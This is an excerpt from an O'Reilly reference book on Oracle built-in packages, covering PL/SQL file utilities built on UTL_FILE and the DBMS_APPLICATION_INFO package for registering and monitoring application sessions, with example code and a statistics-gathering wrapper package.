   file_handle UTL_FILE.FILE_TYPE;
   retval BOOLEAN;

   PROCEDURE closeif IS
   BEGIN
      IF close_in AND UTL_FILE.IS_OPEN (file_handle)
      THEN
         UTL_FILE.FCLOSE (file_handle);
      END IF;
   END;
BEGIN
   /* Open the file. */
   file_handle := UTL_FILE.FOPEN (loc_in, file_in, 'R');

   /* Return the result of a check with IS_OPEN. */
   retval := UTL_FILE.IS_OPEN (file_handle);

   closeif;

   RETURN retval;
EXCEPTION
   WHEN OTHERS
   THEN
      closeif;
      RETURN FALSE;
 END;
/

6.2.7.4 Searching a file for a string

Because I found the INSTR function to be so useful, I figured that this same kind of operation would also really come in handy with operating system files. The line_with_text function coming up shortly returns the line number in a file containing the specified text. The simplest version of such a function would have a specification like this:

FUNCTION line_with_text
   (loc_in IN VARCHAR2, file_in IN VARCHAR2, text_in IN VARCHAR2)
RETURN INTEGER

In other words, given a location, a filename, and a chunk of text, find the first line in the file that contains the text. You could call this function as follows:

IF line_with_text ('h:\pers', 'names.vp', 'Hanubi') > 0
THEN
   MESSAGE ('Josephine Hanubi is a vice president!');
END IF;

The problem with this version of line_with_text is its total lack of vision. What if I want to find the second occurrence in the file? What if I need to start my search from the tenth line? What if I want to perform a case-insensitive search? None of these variations are supported.

I urge you strongly to think through all the different ways a utility like line_with_text might be used before you build it. Don't just build for today's requirement. Anticipate what you will need tomorrow and next week as well.

For line_with_text, a broader vision would yield a specification like this:

FUNCTION line_with_text
   (loc_in IN VARCHAR2,
    file_in IN VARCHAR2,
    text_in IN VARCHAR2,
    occurrence_in IN INTEGER := 1,
    start_line_in IN INTEGER := 1,
    end_line_in IN INTEGER := 0,
    ignore_case_in IN BOOLEAN := TRUE)
RETURN INTEGER

Wow! That's a lot more parameter passing. Let's take a look at the kind of flexibility we gain from these additional arguments. First, the following table provides a description of each parameter.

Parameter | Description
loc_in | The location of the file on the operating system
file_in | The name of the file to be opened
text_in | The chunk of text to be searched for in each line of the file
occurrence_in | The number of times the text should be found in distinct lines in the file before the function returns the line number
srart_line_in | The first line in the file from which the function should start its search
end_line_in | The last line in the file to which the function should continue its search; if zero, then search through end of file
ignore_case_in | Indicates whether the case of the file contents and text_in should be ignored when checking for its presence in the line

Notice that all the new parameters, occurrence_in through ignore_case_in, have default values, so I can call this function in precisely the same way and with the same results as the first, limited version:

IF line_with_text ('names.vp', 'Hanubi') > 0
THEN
   MESSAGE ('Josephine Hanubi is a vice president!');
END IF;

Now, however, I can also do so much more:

  • Confirm that the role assigned to this user is SUPERVISOR:

        line_with_text ('c:\temp', 'config.usr', 'ROLE=SUPERVISOR')

  • Find the second occurrence of DELETE starting with the fifth line:

        line_with_text ('/tmp', 'commands.dat', 'delete', 2, 5)

  • Verify that the third line contains a terminal type specification:

        line_with_text ('g:\apps\user\', 'setup.cfg', 'termtype=', 1, 3, 3)

Here is the code for the line_with_text function:

/* Filename on companion disk: linetext.sf */*
CREATE OR REPLACE FUNCTION line_with_text
   (loc_in IN VARCHAR2,
    file_in IN VARCHAR2,
    text_in IN VARCHAR2,
    occurrence_in IN INTEGER := 1,
    start_line_in IN INTEGER := 1,
    end_line_in IN INTEGER := 0,
    ignore_case_in IN BOOLEAN := TRUE)
RETURN INTEGER
/*
|| An "INSTR" for operating system files. Returns the line number of
|| a file in which a text string was found.
*/
IS
   /* Handle to the file. Only will open if arguments are valid. */
   file_handle UTL_FILE.FILE_TYPE;

   /* Holds a line of text from the file. */
   line_of_text VARCHAR2(1000);

   text_loc INTEGER;
   found_count INTEGER := 0;

   /* Boolean to determine if there are more values to read */
   no_more_lines BOOLEAN := FALSE;

   /* Function return value */
   return_value INTEGER := 0;
BEGIN
   /* Assert valid arguments. If any fail, return NULL. */
   IF loc_in IS NULL OR
      file_in IS NULL OR
      text_in IS NULL OR
      occurrence_in <= 0 OR
      start_line_in < 1 OR
      end_line_in < 0
   THEN
      return_value := NULL;
   ELSE
      /* All arguments are fine. Open and read through the file. */
      file_handle := UTL_FILE.FOPEN (loc_in, file_in, 'R');
      LOOP
         /* Get next line and exit if at end of file. */
         get_nextline (file_handle, line_of_text, no_more_lines);
         EXIT WHEN no_more_lines;

         /* Have another line from file. */
         return_value := return_value + 1;

         /* If this line is between the search range... */
         IF (return_value BETWEEN start_line_in AND end_line_in) OR
            (return_value >= start_line_in AND end_line_in = 0)
         THEN
            /* Use INSTR to see if text is present. */
            IF NOT ignore_case_in
            THEN
               text_loc := INSTR (line_of_text, text_in);
            ELSE
               text_loc := INSTR (UPPER (line_of_text), UPPER (text_in));
            END IF;

            /* If text location is positive, have a match. */
            IF text_loc > 0
            THEN
               /* Increment found counter. Exit if matches request. */
               found_count := found_count + 1;
               EXIT WHEN found_count = occurrence_in;
            END IF;
         END IF;
      END LOOP;
      UTL_FILE.FCLOSE (file_handle);
   END IF;

   IF no_more_lines
   THEN
      /* read through whole file without success. */
      return_value := NULL;
   END IF;

   RETURN return_value;
END;

6.2.7.5 Getting the nth line from a file

What if you want to get a specific line from a file? The following function takes a filename and a line number and returns the text found on that line:

/* Filename on companion disk: nthline.sf */*
CREATE OR REPLACE FUNCTION get_nth_line
   (loc_in IN VARCHAR2, file_in IN VARCHAR2, line_num_in IN INTEGER)
IS
   /* Handle to the file. Only will open if arguments are valid. */
   file_handle UTL_FILE.FILE_TYPE;

   /* Count of lines read from the file. */
   line_count INTEGER := 0;

   /* Boolean to determine if there are more values to read */
   no_more_lines BOOLEAN := FALSE;

   /* Function return value */
   return_value VARCHAR2(1000) := NULL;
BEGIN
   /* Need a file name and a positive line number. */
   IF file_in IS NOT NULL AND line_num_in > 0
   THEN
      /* All arguments are fine. Open and read through the file. */
      file_handle := UTL_FILE.FOPEN (loc_in, file_in, 'R');
      LOOP
         /* Get next line from file. */
         get_nextline (file_handle, return_value, no_more_lines);

         /* Done if no more lines or if at the requested line. */
         EXIT WHEN no_more_lines OR line_count = line_num_in - 1;

         /* Otherwise, increment counter and read another line. */
         line_count := line_count + 1;
      END LOOP;
      UTL_FILE.FCLOSE (file_handle);
   END IF;

   /* Either NULL or contains last line read from file. */
   RETURN return_value;
END;

Previous: 6.1 DBMS_OUTPUT: Displaying Output | Oracle Built-in Packages | Next: 7. Defining an Application Profile
6.1 DBMS_OUTPUT: Displaying Output | Book Index | 7. Defining an Application Profile
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] Defining an Application Profile

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book
Previous: 6.2 UTL_FILE: Reading and Writing Server-side Files Chapter 7 Next: 7.2 DBMS_APPLICATION_INFO Interface

7. Defining an Application Profile

Contents:
Getting Started with DBMS_APPLICATION_INFO
DBMS_APPLICATION_INFO Interface
DBMS_APPLICATION_INFO Examples

The DBMS_APPLICATION_INFO package provides procedures that allow applications to "register" their current execution status with the Oracle database. Once registered, information about the status of an application can be monitored externally through several of the V$ virtual tables.

DBMS_APPLICATION_INFO is used to develop applications that can be monitored in various ways, including the following:

  • Module usage (where do users spend their time in the application?)

  • Resource accounting by transaction and module

  • End-user tracking and resource accounting in three-tier architectures

  • Incremental recording of long-running process statistics

When applications register themselves using DBMS_APPLICATION_INFO, DBAs and developers are able to analyze their performance and resource consumption much more closely. This facilitates better application tuning and enables more accurate usage-based cost accounting.

WARNING: Oracle explicitly warns that DBMS_APPLICATION_INFO should not be used in Trusted Oracle databases.

7.1 Getting Started with DBMS_APPLICATION_INFO

In Oracle 7.3, the DBMS_APPLICATION_INFO package is created when the Oracle database is installed. The dbmsutil.sql script found in the built-in packages source code directory (as described in Chapter 1, Introduction) contains the source code for this package's specification. In Oracle 8.0, the script dbmsapin.sql (also found in the source code directory) creates the package. In either case, the scripts are called by catproc.sql, which is normally run immediately after database creation. The script creates the public synonym DBMS_APPLICATION_INFO for the package and grants EXECUTE privilege on the package to public. All Oracle users can reference and make use of this package.

7.1.1 DBMS_APPLICATION_INFO Programs

Table 7.1 lists the programs available from DBMS_APPLICATION_INFO.

Table 7.1: DBMS_APPLICATION_INFO Programs
Name | Description | Use in SQL?
READ_CLIENT_INFO | Reads client information for session | No
READ_MODULE | Reads module and action for current session | No
SET_ACTION | Sets action within module | No
SET_CLIENT_INFO | Sets client information for session | No
SET_MODULE | Sets name of module executing | No
SET_SESSION_LONGOPS | Sets row in LONGOPS table (Oracle 8.0 only) | No

DBMS_APPLICATION_INFO does not declare any exceptions.

7.1.2 The V$ Virtual Tables

Most of the programs in DBMS_APPLICATION_INFO modify the V$ virtual tables to register application status. Table 7.2 lists the V$ tables and columns that each program modifies.

Table 7.2: V$ Tables and Columns Modified by DBMS_APPLICATION_INFO
Program | V$ Table.Column
SET_ACTION | V$SQLAREA.ACTION
SET_CLIENT_INFO | V$SESSION.CLIENT_INFO
SET_MODULE | V$SESSION.MODULE V$SQLAREA.MODULE V$SESSION.ACTION V$SQLAREA.ACTION
SET_SESSION_LONGOPS | V$SESSION_LONGOPS.APPLICATION_DATA_3

7.1.3 DBMS_APPLICATION_INFO Nonprogram Elements

The DBMS_APPLICATION_INFO package contains a single constant: set_session_longops_nohint. This constant is defined like this:

set_session_longops_nohint CONSTANT BINARY_INTEGER := -1;

This constant is used as a special value for the hint parameter of the SET_SESSION_LONGOPS procedure. When this value is passed, a new row in the V$SESSION_LONGOPS virtual table is acquired for tracking long operations. (See the example in the section, "Section 7.2.6, "The DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS procedure".")

Previous: 6.2 UTL_FILE: Reading and Writing Server-side Files | Oracle Built-in Packages | Next: 7.2 DBMS_APPLICATION_INFO Interface
6.2 UTL_FILE: Reading and Writing Server-side Files | Book Index | 7.2 DBMS_APPLICATION_INFO Interface
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.2 DBMS_APPLICATION_INFO Interface

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

7.2 DBMS_APPLICATION_INFO Interface

This section describes all the programs available in the DBMS_APPLICATION_INFO package.

7.2.1 The DBMS_APPLICATION_INFO.READ_CLIENT_INFO procedure

The READ_CLIENT_INFO procedure returns the currently registered client information for the session. The program header is,

PROCEDURE DBMS_APPLICATION_INFO.READ_CLIENT_INFO
    (client_info OUT VARCHAR2);

where the client_info parameter contains the client information currently registered in V$SESSION.

The program does not raise any exceptions, nor does it assert a purity level with the RESTRICT_REFERENCES pragma.

7.2.1.1 Example

The following function calls DBMS_APPLICATION_INFO.READ_CLIENT_INFO and returns the client information. This function is part of the register_app package discussed in "Section 7.3, "DBMS_APPLICATION_INFO Examples "" later in this chapter.

FUNCTION current_client_info RETURN VARCHAR2
IS
   /*
   || calls DBMS_APPLICATION_INFO.READ_CLIENT_INFO
   || and returns the client info
   */
temp_client_info VARCHAR2(64);

BEGIN
   SYS.DBMS_APPLICATION_INFO.READ_CLIENT_INFO
      (temp_client_info);

   RETURN temp_client_info;
END current_client_info;

In this example, I have fully qualified the package name with the package owner (SYS), insuring that the SYS version of the package is called. This is not normally necessary, as there is (usually) a public synonym pointing to SYS.DBMS_APPLICATION_INFO. The reason for using a fully qualified reference in this specific case is discussed in "Section 7.3.6, "Covering DBMS_APPLICATION_INFO"."

7.2.2 The DBMS_APPLICATION_INFO.READ_MODULE procedure

The READ_MODULE procedure returns the currently registered module and action names for the session. Here's the program header:

PROCEDURE DBMS_APPLICATION_INFO.READ_MODULE
   (module_name OUT VARCHAR2
   ,action_name OUT VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
module_name | Name of the module currently registered in V$SESSION
action_name | Name of the action currently registered in V$SESSION

The READ_MODULE procedure does not raise any exceptions, nor does it assert a purity level with the RESTRICT_REFERENCES pragma.

7.2.2.1 Example

The following function calls DBMS_APPLICATION_INFO.READ_MODULE and returns the value of the current action. This function is part of the register_app package discussed in "Section 7.3."

   FUNCTION current_action RETURN VARCHAR2
   IS
      /*
      || calls DBMS_APPLICATION_INFO.READ_MODULE
      || and returns the action name
      */
      temp_module_name VARCHAR2(64);
      temp_action_name VARCHAR2(64);

   BEGIN
      SYS.DBMS_APPLICATION_INFO.READ_MODULE
         (temp_module_name, temp_action_name);

      RETURN temp_action_name;
   END current_action;

See the section "Section 7.3.6" for an explanation of why the procedure call is qualified by SYS, the package owner's name.

7.2.3 The DBMS_APPLICATION_INFO.SET_ACTION procedure

The SET_ACTION procedure is used to set, or register, the current transaction or logical unit of work currently executing within the module. The registered action name appears in the ACTION column of the V$SESSION and V$SQLAREA virtual tables. The program header is,

PROCEDURE DBMS_APPLICATION_INFO.SET_ACTION
    (action_name IN VARCHAR2);

where the action_name parameter provides the name of the action to register into V$SESSION.

The SET_ACTION procedure does not raise any exceptions.

7.2.3.1 Restrictions

Note the following restrictions on calling SET_ACTION:

  • The action_name parameter is limited to 32 bytes. Longer values will be truncated to this maximum size.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

7.2.3.2 Example

The following procedure could be part of an application that maintains corporate departmental information:

/* Filename on companion disk: apinex1.sql  */*
CREATE OR REPLACE PROCEDURE drop_dept
   (deptno_IN IN NUMBER
   ,reassign_deptno_IN IN NUMBER)
IS
   temp_emp_count  NUMBER;
BEGIN
   DBMS_APPLICATION_INFO.SET_MODULE
      (module_name => 'DEPARTMENT FIXES'
      ,action_name => null);

   -- first check dept for employees

   DBMS_APPLICATION_INFO.SET_ACTION
      (action_name => 'CHECK EMP');

   SELECT COUNT(*)
     INTO temp_emp_count
     FROM emp
    WHERE deptno = deptno_IN;

   -- reassign any employees

   IF temp_emp_count >0
   THEN
      DBMS_APPLICATION_INFO.SET_ACTION
         (action_name => 'REASSIGN EMPLOYEES');

      UPDATE emp
         SET deptno = reassign_deptno_IN
       WHERE deptno = deptno_IN;
   END IF;

   -- OK, now drop the department

   DBMS_APPLICATION_INFO.SET_ACTION
      (action_name => 'DROP DEPT');

   DELETE FROM dept WHERE deptno = deptno_IN;

   COMMIT;

   DBMS_APPLICATION_INFO.SET_MODULE(null,null);

EXCEPTION
   WHEN OTHERS THEN
      DBMS_APPLICATION_INFO.SET_MODULE(null,null);
END drop_dept;

Notice in this example that DBMS_APPLICATION_INFO is called three times to distinguish between the three steps involved in the process of dropping the department. This gives a very fine granularity to the level at which the application can be tracked.

7.2.3.3 Recommendations for usage

Note the following recommendations for using the SET_ACTION procedure:

  • Set the action name to a name that can identify the current transaction or logical unit of work within the module.

  • When the transaction terminates, call SET_ACTION and pass a NULL value for the action_name parameter. In case subsequent transactions do not register using DBMS_APPLICATION_INFO, passing the NULL value ensures that they are not incorrectly counted as part of the current action. As in the example, if the program handles exceptions, the exception handler should reset the action information.

7.2.4 The DBMS_APPLICATION_INFO.SET_CLIENT_INFO procedure

The SET_CLIENT_INFO procedure is used to set, or register, additional client information about the user session. The registered client information appears in the CLIENT_INFO column of the V$SESSION virtual table. The header for this program is,

PROCEDURE DBMS_APPLICATION_INFO.SET_CLIENT_INFO
    (client_info IN VARCHAR2);

where the client_info parameter specifies the client information to register into V$SESSION.

The program does not raise any exceptions.

7.2.4.1 Restrictions

Note the following restrictions on calling SET_CLIENT_INFO:

  • The client_info parameter is limited to 64 bytes. Longer values will be truncated to this maximum size.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

7.2.4.2 Example

The following procedure could be utilized by an application in which all sessions connect to a common Oracle username and security is handled within the application. This would allow the DBA to externally distinguish between user sessions in V$SESSION by examining the CLIENT_INFO column.

/* Filename on companion disk: apinex1.sql  */*
CREATE OR REPLACE PROCEDURE set_user(app_user_IN IN VARCHAR2)
IS
BEGIN
   DBMS_APPLICATION_INFO.SET_CLIENT_INFO(app_user_IN);
END set_user;

Suppose that users JOE SMITH and SALLY DALLY log into the application, which connects to Oracle as the user OPBIP. If the application calls the set_user procedure at login, we can distinguish between the database sessions for Joe and Sally in V$SESSION as follows:

SQL> SELECT sid, username, client_info
  2    FROM v$session
  3   WHERE username='OPBIP';

      SID USERNAME   CLIENT_INFO
--------- ---------- --------------------
       14 OPBIP      JOE SMITH
       24 OPBIP      SALLY DALLY

7.2.5 The DBMS_APPLICATION_INFO.SET_MODULE procedure

The SET_MODULE procedure is used to set, or register, a name for the program that the user is currently executing and, optionally, an action name for the current transaction within the program. Registered module and action names appear in the MODULE and ACTION columns of the V$SESSION and V$SQLAREA virtual tables. Here's the header for this procedure:

PROCEDURE DBMS_APPLICATION_INFO.SET_MODULE
    (module_name IN VARCHAR2
    ,action_name IN VARCHAR2);

Parameters are summarized in the following table.

Parameter | Description
module_name | Name of the module to register into V$SESSION
action_name | Name of the action to register into V$SESSION

The SET_MODULE procedure does not raise any exceptions.

7.2.5.1 Restrictions

Note the following restrictions on calling SET_MODULE:

  • The module_name parameter is limited to 48 bytes, and action_name is limited to 32 bytes. Longer values for either parameter will be truncated to their respective maximum sizes.

  • The program does not assert a purity level with the RESTRICT_REFERENCES pragma.

7.2.5.2 Example

The following procedure could be part of an application that maintains employee data:

/* Filename on companion disk: apinex1.sql  */*
CREATE OR REPLACE PROCEDURE award_bonus
   (empno_IN IN NUMBER
   ,pct_IN IN NUMBER)
IS
BEGIN
   DBMS_APPLICATION_INFO.SET_MODULE
      (module_name => 'EMPLOYEE UPDATE'
      ,action_name => 'AWARD BONUS');

   UPDATE emp
      SET sal = sal*(1+pct_IN/100)
    WHERE empno = empno_IN;

   COMMIT;

   DBMS_APPLICATION_INFO.SET_MODULE(null,null);
EXCEPTION
   WHEN OTHERS THEN
      DBMS_APPLICATION_INFO.SET_MODULE(null,null);
END award_bonus;

Oracle recommends that the module name correspond to a recognizable name for the program or logical application unit that is currently executing. Examples Oracle provides include the name of the form executing in a Forms application and the name of a SQL script executing under SQL*Plus.

7.2.5.3 Recommendations for usage

Note the following recommendations for using the SET_MODULE procedure:

  • Set the action name to one that can identify the current transaction or logical unit of work within the module.

  • When the module terminates, call the SET_MODULE procedure and pass in NULL values for both parameters. In the event that subsequent transactions and programs do not register using DBMS_APPLICATION_INFO, they won't be incorrectly counted as part of the current module. As in the example, if the program handles exceptions, the exception handler should reset the module and action information.

7.2.6 The DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS procedure

The SET_SESSION_LONGOPS procedure is used to track the progress of long-running operations by allowing the entry and modification of data in the V$SESSION_LONGOPS virtual table. Here's the header for the program:

PROCEDURE DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
    (hint IN OUT BINARY_INTEGER
    ,context IN NUMBER DEFAULT 0
    ,stepid IN NUMBER DEFAULT 0
    ,stepsofar IN NUMBER DEFAULT 0
    ,steptotal IN NUMBER DEFAULT 0
    ,sofar IN NUMBER DEFAULT 0
    ,totalwork IN NUMBER DEFAULT 0
    ,application_data_1 IN NUMBER DEFAULT 0
    ,application_data_2 IN NUMBER DEFAULT 0
    ,application_data_3 IN NUMBER DEFAULT 0);

The parameters are summarized in the following table.

Parameter | Description
hint | Token representing the row to update
context | Any number representing the context
stepid | Any number representing the stepid
stepsofar | Any number
steptotal | Any number
sofar | Any number
totalwork | Any number
application_data_1 | Any number
application_data_2 | Any number
application_data_3 | Any number

The program does not raise any exceptions, nor does it assert a purity level with the RESTRICT_REFERENCES pragma.

7.2.6.1 Example

The following script loops 1000 times and sets values in the V$SESSION_LONGOPS table as follows:

  • The totalwork value is set to 1000.

  • The sofar column is incremented for every iteration.

  • The stepsofar column is incremented every 100 iterations.

    /* Filename on companion disk: apinex2.sql  */
DECLARE
   longops_row BINARY_INTEGER:=
      DBMS_APPLICATION_INFO.set_session_longops_nohint;
   step_number  NUMBER:=0;
BEGIN
   -- get new row in V$SESSION_LONGOPS
   DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
      (hint => longops_row);

   -- Do operation 1000 times and record
   FOR i IN 1..1000
   LOOP
      DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS
         (hint => longops_row
         ,sofar => i
         ,totalwork => 1000
         ,stepsofar => step_number);

      -- increment step every 100 iterations
      IF MOD(i,100) = 0
      THEN
         step_number := i/100;
      END IF;
   END LOOP;
END;
/

After executing the previous PL/SQL block, the following SQL shows the results recorded in V$SESSION_LONGOPS. Notice that the COMPNAM column has been updated by Oracle to indicate that DBMS_APPLICATION_INFO was used to set the row. Also notice that Oracle sets rows in V$SESSION_LONGOPS for internal operations like table scans, and sorts.

SELECT sid
      ,compnam
      ,stepsofar
      ,sofar
      ,totalwork
  FROM v$session_longops
 WHERE sid = my_session.sid;

SID  COMPNAM                   STEPSOFAR     SOFAR TOTALWORK
---- ------------------------- --------- --------- ---------
  16 Table Scan                        0         0         1
  16 Sort Progression                  0         1         1
  16 dbms_application_info             9      1000      1000

3 rows selected.

Each session is allocated a maximum of four rows in the V$SESSION_LONGOPS virtual table for tracking long operations. Rows are identified by the combination of context and stepid. If calls to DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS are made with more than four distinct combinations of context and stepid, rows will be re-used in least-recently-used order.

All of the parameters except hint correspond directly to like-named columns in the V$SESSION_LONGOPS virtual table. While there are no restrictions on values stored in these columns, Oracle makes the following suggestions as a way of organizing information about the progress of long running operations:

stepsofar

If the long-running operation consists of distinct individual steps, the amount of work which has been done so far for this step.

steptotal

If the long-running operation consists of distinct individual steps, the total amount of work expected to be done in this step.

sofar

The amount of work that has been done so far.

totalwork

The total amount of work expected to be done in this long-running operation.

application_data_1, application_data_2, application_data_3

Any numbers the client wishes to store.

Also note that all parameters to SET_SESSION_LONGOPS (except hint) default to zero. This means that calls to the procedure need not specify values for all parameters, which is convenient in the case of such a long parameter list. However, it also means that any unspecified parameters in a call to SET_SESSION_LONGOPS will have their corresponding columns in V$SESSION_LONGOPS set to zero for that row after the call, which may not be the desired behavior.

Previous: 7.1 Getting Started with DBMS_APPLICATION_INFO | Oracle Built-in Packages | Next: 7.3 DBMS_APPLICATION_INFO Examples
7.1 Getting Started with DBMS_APPLICATION_INFO | Book Index | 7.3 DBMS_APPLICATION_INFO Examples
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 7] 7.3 DBMS_APPLICATION_INFO Examples

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

7.3 DBMS_APPLICATION_INFO Examples

Oracle suggests that one way to extend DBMS_APPLICATION_INFO is to capture session performance statistics as part of the process of registering modules and actions. To demonstrate how this might be done, I have created a package called register_app.

7.3.1 About the register_app Package

The programs in register_app are very similar to those in DBMS_APPLICATION_INFO. Here is the package specification:

/* Filename on companion disk: register.sql */*
CREATE OR REPLACE PACKAGE register_app
IS
   /*
   || Enhances DBMS_APPLICATION_INFO by capturing performance
   || statistics when module, action, or client_info are set.
   ||
   || Statistics may be displayed in SQL*Plus for tracking and
   || debugging purposes.  A useful enhancement would be to
   || extend this idea to a logging feature, so stats are logged
   || to a table for analysis.
   ||
   || Also enforces requirement that a module be registered before
   || an action can be registered.
   ||
   || Author:  John Beresniewicz, Savant Corp
   || Created: 09/01/97
   ||
   || Compilation Requirements:
   ||
   || SELECT on SYS.V_$MYSTAT
   || SELECT on SYS.V_$STATNAME
   ||
   || Execution Requirements:
   ||
   ||
   */

   /* registers the application module */
   PROCEDURE module
      (module_name_IN IN VARCHAR2
      ,action_name_IN IN VARCHAR2 DEFAULT 'BEGIN');

   /* registers the action within module */
   PROCEDURE action(action_name_IN IN VARCHAR2);

   /* registers additional application client information */
   PROCEDURE client_info(client_info_IN IN VARCHAR2);

   /* returns the currently registered module */
   FUNCTION current_module RETURN VARCHAR2;

   /* returns the currently registered action */
   FUNCTION current_action RETURN VARCHAR2;

   /* returns the currently registered client info */
   FUNCTION current_client_info RETURN VARCHAR2;

   /* sets stat display for SQL*Plus ON (TRUE) or OFF (FALSE) */
   PROCEDURE set_display_TF(display_ON_TF_IN IN BOOLEAN);

END register_app;

The module, action, and client_info programs of register_app correspond directly to the SET_MODULE, SET_ACTION, and SET_CLIENT_INFO programs of DBMS_APPLICATION_INFO; indeed, each of these programs eventually calls its counterpart. The difference is that the programs in register_app first collect session performance information and store it in a private package global record, before calling the appropriate DBMS_APPLICATION_INFO program.

7.3.2 The action Procedure

Here is the body of the action procedure:

/* Filename on companion disk: register.sql */*
PROCEDURE action(action_name_IN IN VARCHAR2)
IS
BEGIN
        /*
        || raise error if trying to register an action when module
        || has not been registered
        */
        IF current_module IS NULL AND action_name_IN IS NOT NULL
        THEN
           RAISE_APPLICATION_ERROR(-20001, 'Module not registered');
        ELSE
           set_stats;
           SYS.DBMS_APPLICATION_INFO.SET_ACTION(action_name_IN);
        END IF;

END action;

Note that the action procedure is written to enforce the rule that an action can be registered only if a module has previously been registered. The action procedure also calls a procedure called set_stats. This procedure is private to the package, and does the work of collecting and saving resource statistics whenever new module, action, or client information is registered.

7.3.3 The set_stats Procedure

The set_stats procedure loads session performance information into a private global record named stat_rec. Here are the definitions of stat_rec and the PL/SQL record type on which it is based:

/* record type to hold performance stats */
TYPE stat_rectype IS RECORD
   (timer_hsecs  NUMBER := 0
   ,logical_rds  NUMBER := 0
   ,physical_rds NUMBER := 0
   );
/* private global to hold stats at begin of each module/action */
stat_rec stat_rectype;

Now let's take a look at the set_stats procedure:

/* Filename on companion disk: register.sql/*
|| Gets current performance stats from V$MYSTAT and
|| sets the global record stat_rec.  If display_TF_ is TRUE
|| then uses DBMS_OUTPUT to display the stat differences
|| since last call to set_stats.
*/
PROCEDURE set_stats
IS

   temp_statrec   stat_rectype;
   diff_statrec   stat_rectype;

   /*
   || Embedded inline function to retrieve stats by name
   || from V$MYSTAT.
   */
   FUNCTION get_stat(statname_IN IN VARCHAR2)
      RETURN NUMBER
   IS
      /* return value -9999 indicates problem */
      temp_stat_value  NUMBER := -9999;

      /* cursor retrieves stat value by name */
      CURSOR stat_val_cur(statname VARCHAR2)

      IS
         SELECT value
            FROM sys.v_$mystat    S
               ,sys.v_$statname  N
         WHERE
               S.statistic# = N.statistic#
            AND N.name = statname;

       BEGIN
          OPEN stat_val_cur(statname_IN);
          FETCH stat_val_cur INTO temp_stat_value;
          CLOSE stat_val_cur;
          RETURN temp_stat_value;

       EXCEPTION
          WHEN OTHERS THEN
             IF stat_val_cur%ISOPEN
             THEN
                CLOSE stat_val_cur;
             END IF;
             RETURN temp_stat_value;
       END get_stat;

BEGIN

       /*
       || load current values for performance statistics
       */
       temp_statrec.timer_hsecs := DBMS_UTILITY.GET_TIME;
       temp_statrec.logical_rds := get_stat('session logical reads');
       temp_statrec.physical_rds := get_stat('physical reads');

       /*
       || calculate diffs between current and previous stats
       */
       diff_statrec.timer_hsecs :=
                temp_statrec.timer_hsecs - stat_rec.timer_hsecs;
       diff_statrec.logical_rds :=
                temp_statrec.logical_rds - stat_rec.logical_rds;
       diff_statrec.physical_rds :=
                temp_statrec.physical_rds - stat_rec.physical_rds;

       /*
       || Both current module AND client info NULL indicates
       || initialization for session and stats should not be displayed.
       */
       IF display_TF AND
          (current_module IS NOT NULL OR current_client_info IS NOT NULL)
       THEN
          DBMS_OUTPUT.PUT_LINE('Module: '||current_module);
          DBMS_OUTPUT.PUT_LINE('Action: '||current_action);
          DBMS_OUTPUT.PUT_LINE('Client Info: '||current_client_info);
          DBMS_OUTPUT.PUT_LINE('Stats:  '||
             'elapsed secs:'||
                       TO_CHAR(ROUND(diff_statrec.timer_hsecs/100,2))||
              ', physical reads: '||TO_CHAR(diff_statrec.physical_rds)||
              ', logical reads: '||TO_CHAR(diff_statrec.logical_rds)
              );

        END IF;

        /* OK, now initialize stat_rec to current values */
        stat_rec := temp_statrec;

END set_stats;

The set_stats procedure logic is relatively straightforward:

  1. Current values for the session performance statistics are gathered and the previous values (stored in the private global record stat_rec) are subtracted from them. These differences represent the changes in statistics since the last call to set_stats and are held in the record diff_statrec. Note that this works even for the initial call to set_stats because the declaration of stat_rectype assigns a default value of zero to all fields. Thus, on the first call, stat_rec will be initialized with zeros and diff_statrec will contain the current statistics.

  2. The difference performance statistics are displayed using DBMS_OUTPUT if the display flag is set and this is not the first call to register application information.

  3. Current values of the session performance statistics are saved in stat_rec for the next call to set_stats.

Exercise for the reader: Enhance the register_app package to log module and action performance statistics to a table for resource accounting. Be sure to allow for tracking by username and session.

7.3.4 The Information Procedures

The register_app package also contains three functions that return the currently registered information for the session. These functions invoke the DBMS_APPLICATION_INFO procedures READ_MODULE and READ_CLIENT_INFO and return the respective information. Procedures that return data in OUT parameters can often be encapsulated usefully with functions in this way. This promotes more terse and readable code, as illustrated by the following code excerpts from the register_app package:

/* Filename on companion disk: register.sql */*
/* returns the currently registered module */
FUNCTION current_module RETURN VARCHAR2;

/* returns the currently registered client info */
FUNCTION current_client_info RETURN VARCHAR2;

PROCEDURE set_stats
IS
...
IF display_TF AND
      (current_module IS NOT NULL OR current_client_info IS NOT NULL)
THEN
...
END set_stats;

7.3.5 Using the register_app Package

The following SQL*Plus script demonstrates how the register_app package can be used to register each step of a multistep batch process. The script displays the resource utilization statistics that have been collected for each step. While the script is executing, DBAs can monitor which step is currently running by querying V$SESSION for the session executing the script.

/* Filename on companion disk: regtest.sql  */*
rem ======================================================
rem REGTEST.SQL
rem
